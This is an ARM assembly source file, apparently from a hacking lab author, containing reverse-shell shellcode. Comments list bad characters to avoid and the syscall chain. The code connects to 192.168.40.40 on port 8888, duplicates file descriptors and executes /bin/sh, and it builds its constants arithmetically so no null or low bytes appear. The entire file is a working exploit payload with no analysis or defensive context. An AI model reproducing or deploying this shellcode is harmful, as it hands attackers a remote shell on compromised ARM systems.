arm_shellcode.s

# hdarwin @ hacklab
# @hdarwin89
# bad character : 00~20 7f ff
# socket connect dup dup dup dup dup execve ( 2 dup for pipe save purpose )
# 192.168.40.40 8888

.section .text
.global _start
_start:
.code 32
    add r1, pc, #1
    bx r1

.code 16
    eor r6, r6
    mov r4, #51
    sub r4, #50
    mov r5, #52
    sub r5, #50

    eor r0, r0
    orr r0, r5
    mov r7, #205
    add r7, #76
    eor r1, r1
    orr r1, r4
    eor r2, r2
    svc 81
    mov lr, r0

    mov r7, #205
    add r7, #78
    push {r6}
    push {r6}
    push {r6}
    push {r6}
    mov r1, sp
    eor r3, r3
    orr r3, r5
    eor r2, r2
    strb r3, [r1, r2]
    mov r3, $0x22
    orr r2, r5
    strb r3, [r1, #2]
    mov r3, $0xb8
    mov r2, #53
    sub r2, r2, #50
    strb r3, [r1, r2]
    mov r3, #192
    mov r2, #54
    sub r2, r2, #50
    strb r3, [r1, r2]
    mov r3, #168
    mov r2, #55
    sub r2, r2, #50
    strb r3, [r1, r2]
    mov r3, #40
    mov r2, #56
    sub r2, r2, #50
    strb r3, [r1, r2]
    mov r3, #40
    mov r2, #57
    sub r2, r2, #50
    strb r3, [r1, r2]
    mov r2, #66
    sub r2, r2, #50
    svc 81

    mov r7, #63
    eor r0, r0
    mov r1, #55
    sub r1, #50
    svc 81
    eor r0, r0
    orr r0, r4
    mov r1, #56
    sub r1, #50
    svc 81

    mov r0, lr
    eor r1, r1
    svc 81
    eor r1, r1
    orr r1, r4
    svc 81
    eor r1, r1
    orr r1, r5
    svc 81

    mov r7, #111
    sub r7, #100
    mov r0, pc
    add r0, #118
    sub r0, #100
    mov r1, sp
    sub r1, r1, #36
    str r0, [r1, #40]
    mov r1, sp
    add r1, #84
    sub r1, r1, #80
    eor r2, r2
    svc 81
    .ascii "/bin/sh"